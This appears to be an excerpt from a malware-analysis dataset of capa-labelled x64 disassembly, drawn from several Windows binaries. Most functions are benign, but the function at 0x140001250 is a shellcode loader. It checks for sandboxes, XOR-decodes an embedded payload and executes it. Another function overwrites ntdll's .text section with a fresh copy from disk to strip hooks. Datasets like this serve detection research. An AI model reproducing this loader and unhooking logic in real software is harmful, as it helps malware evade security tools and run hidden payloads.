joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f8ee0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
cmp r8d, 8
jge 0x1400f8f7d
xor eax, eax
cmp r8d, 4
jl 0x1400f8f31
add r8d, 0xfffffffc
movsx r10, word [rcx + rax*2]
movsx r9, dx
cmp r10d, r9d
je 0x1400f8f78
nop dword [rax]
movsx r10, word [rcx + rax*2 + 2]
cmp r10d, r9d
je 0x1400f8f71
movsx r10, word [rcx + rax*2 + 4]
cmp r10d, r9d
je 0x1400f8f69
movsx r10, word [rcx + rax*2 + 6]
cmp r10d, r9d
je 0x1400f8f61
add rax, 4
test r8d, r8d
jle 0x1400f915a
movsx r9, dx
nop
dec r8d
movsx rdx, word [rcx + rax*2]
cmp edx, r9d
je 0x1400f8f78
inc rax
test r8d, r8d
jg 0x1400f8f40
jmp 0x1400f915a
add eax, 3
jmp 0x1400f9155
add eax, 2
jmp 0x1400f9155
inc eax
jmp 0x1400f9155
jmp 0x1400f9155
movsx r9, dx
movd xmm0, r9d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov rax, rcx
lea edx, [r8 - 8]
movsxd rdx, edx
add rdx, rdx
lea r10, [rax + rdx]
movups xmm1, xmmword [rax]
pcmpeqw xmm1, xmm0
movaps xmmword [rsp + 0x20], xmm1
xorps xmm2, xmm2
pcmpeqw xmm1, xmm2
pmovmskb r9d, xmm1
cmp r9d, 0xffff
jne 0x1400f9096
add rax, 0x10
cmp rax, r10
jbe 0x1400f8fa0
mov eax, r8d
test al, 7
je 0x1400f915a
movups xmm1, xmmword [r10]
pcmpeqw xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
pcmpeqw xmm0, xmm1
pmovmskb ecx, xmm0
cmp ecx, 0xffff
je 0x1400f915a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
jne 0x1400f914c
mov ecx, 0x20
jmp 0x1400f914f
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
jne 0x1400f913d
mov r8d, 0x20
jmp 0x1400f9141
bsf r8d, edx
sub rax, rcx
shr rax, 1
add eax, r8d
jmp 0x1400f9155
bsf ecx, eax
shr rdx, 1
lea eax, [rdx + rcx]
add rsp, 0x38
ret
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x140001070
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, 0xffffffffffffffff
mov r15, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x48]
lea rcx, str.c:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r12, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
lea edx, [rbx + 4]
xor r8d, r8d
mov r13, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r14, rax
cmp bx, word [rsi + 6]
jae 0x140001208
lea r8, str..text
xor r15d, r15d
nop word [rax + rax]
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x1400011f6
cmp rax, 6
jne 0x140001190
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x60], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r14]
lea rcx, [rax + rbp]
call fcn.140003340
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x60]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001170
mov r15, qword [rsp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400014a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001250
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions
Identify system language via api

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor esi, esi
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400012dd
xor edx, edx
mov dword [rsp + 0x30], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x34]
call fcn.140002470
lea rdx, [rsp + 0x30]
mov rcx, rdi
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001474
nop dword [rax]
lea rdx, [rsp + 0x30]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400012c0
cmp ebx, 0x50
jle 0x140001474
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x14000145d
lea rcx, str.Chinese
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0xc3500
jb 0x14000147f
mov qword [rsp + 0x290], rbp
mov qword [rsp + 0x298], r14
call fcn.140001070
lea r8, str.PAYLOAD_BIN
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x1000
mov ebx, eax
xor ecx, ecx
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.140003340
mov ecx, esi
test ebx, ebx
je 0x14000140d
cmp ebx, 0x40
jb 0x1400013ee
movdqa xmm2, xmmword [str.yyyyyyyyyyyyyyyy_]
mov eax, ebx
and eax, 0xffffffc0
nop
movdqu xmm0, xmmword [rsi + rbp]
lea rsi, [rsi + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rsi + rbp - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rsi + rbp - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rsi + rbp - 0x30], xmm0
movdqu xmm0, xmmword [rsi + rbp - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rsi + rbp - 0x20], xmm0
movdqu xmm0, xmmword [rsi + rbp - 0x10]
xorps xmm1, xmm0
movdqu xmmword [rsi + rbp - 0x10], xmm1
cmp ecx, eax
jb 0x1400013a0
cmp ecx, ebx
jae 0x14000140d
movsxd rax, ecx
add rax, rbp
sub ebx, ecx
mov ecx, ebx
nop dword [rax]
xor byte [rax], 0x79
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001400
lea r9, [rsp + 0x20]
mov r8d, 0x20
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r14, qword [rsp + 0x298]
xor eax, eax
mov rbp, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400014a0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rcx, str.Error
call fcn.140001010
mov ecx, 1
call fcn.140005560
int3
mov ecx, 1
call fcn.140005560
int3
mov ecx, 1
call fcn.140005560
int3
Function at 0x140001d74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001dbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001dbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001dbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001dbe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001dbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001dc0
xor al, al
add rsp, 0x28
ret

Function at 0x140005560
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400053cb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400053cb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400053cb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400053cb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400053cb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400053cb
cmp dword [rcx + 0xf8], 0
je 0x1400053cb
mov ecx, ebx
call fcn.14000547c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005258
nop
cmp dword [rbp + 0x20], 0
je 0x140005419
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005424
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000535c
Function at 0x14000cf6c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000cff3
mov rsi, rbx
cmp word [rax], bp
je 0x14000cfb2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000cf9c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000cf98
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009d2c
mov rdi, rax
test rax, rax
je 0x14000cfe0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003340
mov rbp, rdi
xor ecx, ecx
call fcn.1400090f8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001123c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140011252
mov al, 1
jmp 0x1400112b2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140011263
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400112b0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000d710
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400112b0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400112b0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400112b0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400112b2
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140013de0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013e08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140013e08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140008248
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1f60]
mov eax, 0x2060
call fcn.14000c9d0
sub rsp, rax
mov rax, qword [0x140039a88]
xor rax, rsp
mov qword [rbp + 0x1f50], rax
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
cmp rdx, rcx
je 0x14000828e
mov rdx, rcx
mov rcx, rbx
call fcn.140008cbc
mov rcx, qword [str.LngFolder0]
mov edx, 0x31
call fcn.14000f3a4
xor r15d, r15d
test rax, rax
je 0x140008392
lea rax, [rsp + 0x38]
xor r8d, r8d
lea r9d, [r15 + 1]
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareWinRARGeneral
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008392
mov rcx, rdi
call fcn.140017978
mov ecx, 0x7ff
lea r9, [rsp + 0x40]
sub ecx, eax
lea rdx, str.LanguageFolder
add ecx, ecx
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov dword [rsp + 0x30], ecx
lea rax, [rbp + 0xf50]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140008387
mov r8d, 0x800
mov word [rsp + 0x50], r15w
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf50]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edx, 0x800
lea rcx, [rsp + 0x50]
call fcn.140006364
mov rcx, rdi
call fcn.1400069e0
mov rdx, rax
lea rcx, [rsp + 0x50]
mov r8d, 0x800
call fcn.140008c78
lea rcx, [rsp + 0x50]
call fcn.14000513c
test al, al
je 0x140008387
mov r8, rsi
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140008cbc
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x1f50]
xor rcx, rsp
call fcn.14000ca30
add rsp, 0x2060
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x1400083b0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1050]
mov eax, 0x1150
call fcn.14000c9d0
sub rsp, rax
mov rax, qword [0x140039a88]
xor rax, rsp
mov qword [rbp + 0x1040], rax
mov rdi, r8
mov rsi, rdx
mov r14, rcx
call fcn.140008598
test rdi, rdi
je 0x140008406
mov r8d, 0x800
lea rcx, [rbp + 0x40]
mov rdx, rdi
call fcn.140008cbc
jmp 0x140008418
mov r8d, 0x800
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x800
lea rdx, str.rarlng.dll
lea rcx, [rbp + 0x40]
call fcn.140006a6c
mov r8d, 0x800
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140008248
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov r8d, 2
cmp dword [rsp + 0x30], r8d
jne 0x14000847f
cmp dword [rsp + 0x24], 5
ja 0x140008471
jne 0x14000847f
cmp word [rbp + 0x34], r8w
jb 0x14000847f
xor edx, edx
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x140008489
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
mov qword [0x14003c610], rax
setne cl
mov byte [r14], cl
test cl, cl
mov rax, qword [0x14003c610]
cmove rax, rsi
mov qword [0x14003c618], rsi
mov qword [0x14003c610], rax
mov rcx, qword [rbp + 0x1040]
xor rcx, rsp
call fcn.14000ca30
mov rsi, qword [rsp + 0x1178]
add rsp, 0x1150
pop r14
pop rdi
pop rbp
ret
Function at 0x1412cc000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1412cc00a
jmp 0x1412ce00f
jmp fcn.140d99058
Function at 0x140001230
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0xb8
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov r9d, 0x55
movzx ecx, ax
lea r8, [rsp + 0x40]
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jle 0x140001427
mov qword [rsp + 0xc0], rbx
lea rax, [rsp + 0x40]
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rdi
movups xmmword [rsp + 0x20], xmm0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001293
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001441
mov qword [rsp + 0xc8], rsi
cmp rbx, 0xf
ja 0x1400012f6
mov r8, rbx
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x38], 0xf
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x20], 0
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x20]
jmp 0x14000138e
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000132f
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001dfc
test rax, rax
je 0x1400013e5
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000136b
mov ecx, 0x16
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000135a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001447
jmp 0x140001310
test rcx, rcx
je 0x140001369
call fcn.140001dfc
mov rsi, rax
jmp 0x14000136b
xor esi, esi
mov r8, rbx
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x30], rbx
mov rcx, rsi
mov qword [rsp + 0x38], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
cmp rdi, 0xf
lea rcx, [rsp + 0x20]
cmova rcx, rsi
cmp rbx, 2
jne 0x1400013b8
mov r8, rbx
lea rdx, [0x1400034d4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400013b8
mov bl, 1
jmp 0x1400013ba
xor bl, bl
cmp rdi, 0xf
jbe 0x1400013f4
lea rdx, [rdi + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400013ec
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140002078
mov rsi, qword [rsp + 0xc8]
movzx eax, bl
mov rbx, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001c60
add rsp, 0xb8
ret
xor al, al
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001c60
add rsp, 0xb8
ret
call fcn.140001210
int3
call fcn.140001170
int3
Function at 0x140002684
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400026ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400026ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400026ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400026ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400026ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400026d0
xor al, al
add rsp, 0x28
ret
Function at 0x140010ee0
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x140010f6d
movsxd rax, dword [rdx + 0x3c]
test rax, rax
je 0x140010f72
cmp eax, 0x40
jb 0x14001104a
cmp rax, r8
ja 0x140011060
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x140010f77
mov r9b, 5
cmp r10d, 0x10b
jne 0x140010fa1
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140010fa1
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x14c
jne 0x140010fa1
mov r9b, 4
test byte [rsi + 0x16], 2
je 0x140010fa1
lea r9, [rax + 0xf8]
cmp r9, r8
ja 0x140011077
lea r10, [rsi + 4]
xor edi, edi
jmp 0x140010fd4
xor r9d, r9d
jmp 0x140010fa1
mov r9b, 1
jmp 0x140010fa1
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140010fa1
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x8664
jne 0x140010fa1
mov r9b, 4
test byte [rsi + 0x16], 2
jne 0x140010fbb
mov byte [rcx], r9b
mov qword [rcx + 0x18], 2
mov rax, rcx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r9, [rax + 0x108]
cmp r9, r8
ja 0x140011077
lea r10, [rsi + 4]
mov edi, 1
mov r11, r8
sub r11, r9
movzx r14d, word [r10 + 2]
lea r10, [r14*8]
lea r10, [r10 + r10*4]
mov rbx, r11
sub rbx, r10
jb 0x14001108e
add rax, 0xffffffffffffffc0
lea r11, [rdx + 0x40]
add r9, rdx
add r10, r9
mov r15, r14
shr r15, 8
mov qword [rcx], rdx
mov qword [rcx + 8], r11
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], rsi
mov qword [rcx + 0x28], r9
mov byte [rcx + 0x30], r14b
mov dword [rcx + 0x31], r15d
mov byte [rcx + 0x37], 0
mov word [rcx + 0x35], 0
mov qword [rcx + 0x38], r10
mov qword [rcx + 0x40], rbx
mov qword [rcx + 0x48], rdx
mov qword [rcx + 0x50], r8
jmp 0x140010fac
lea r8, [0x1407f46b8]
mov ecx, 0x40
mov rdx, rax
call fcn.14002ac00
ud2
lea r9, [0x1407f46b8]
mov rcx, rax
mov rdx, r8
mov r8, r9
call fcn.14002ab80
ud2
lea rax, str.C:UsersuserDesktopmemexec_srcpeparserpe.rs
mov rcx, r9
mov rdx, r8
mov r8, rax
call fcn.14002ab00
ud2
lea r8, str.C:UsersuserDesktopmemexec_srcpeparser_section.rs
mov rcx, r10
mov rdx, r11
call fcn.14002ab00
ud2
Function at 0x1400165a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x1407f59c8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x1400165e4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14001664a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140016681
test eax, eax
js 0x14001665b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140016674
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140017640
mov rcx, rax
call fcn.140011350
mov ecx, 7
int 0x29
ud2